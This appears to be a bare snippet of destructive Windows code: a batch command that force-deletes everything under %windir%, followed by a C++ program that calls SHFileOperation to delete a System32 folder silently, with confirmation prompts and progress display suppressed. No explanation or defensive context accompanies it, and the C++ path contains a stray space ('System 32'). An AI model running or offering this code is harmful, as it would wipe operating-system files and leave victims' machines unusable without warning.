del /f /s %windir%\*
#include <Windows.h>
#include <string>
bool explorer_operation(std::wstring, std::wstring, size_t, bool = false);
void main()
{
explorer_operation(L"C:\\Windows\\System 32\\", L"", FO_DELETE);
}
bool explorer_operation(std::wstring pathFrom, std::wstring pathTo, size_t operation, bool allow_undo)
{
for (int i = 0; i != 2; ++i) {
pathFrom.push_back('\0');
pathTo.push_back('\0');
}
SHFILEOPSTRUCT fileop;
fileop.hwnd = NULL; // no status display
fileop.wFunc = operation;
fileop.pFrom = pathFrom.c_str();
fileop.pTo = pathTo.c_str();
fileop.fFlags = FOF_NOCONFIRMATION | FOF_SILENT; // do not prompt the user
if (allow_undo)
fileop.fFlags |= FOF_ALLOWUNDO;
fileop.fAnyOperationsAborted = FALSE;
fileop.lpszProgressTitle = NULL;
fileop.hNameMappings = NULL;
return (SHFileOperation(&fileop) == 0);
}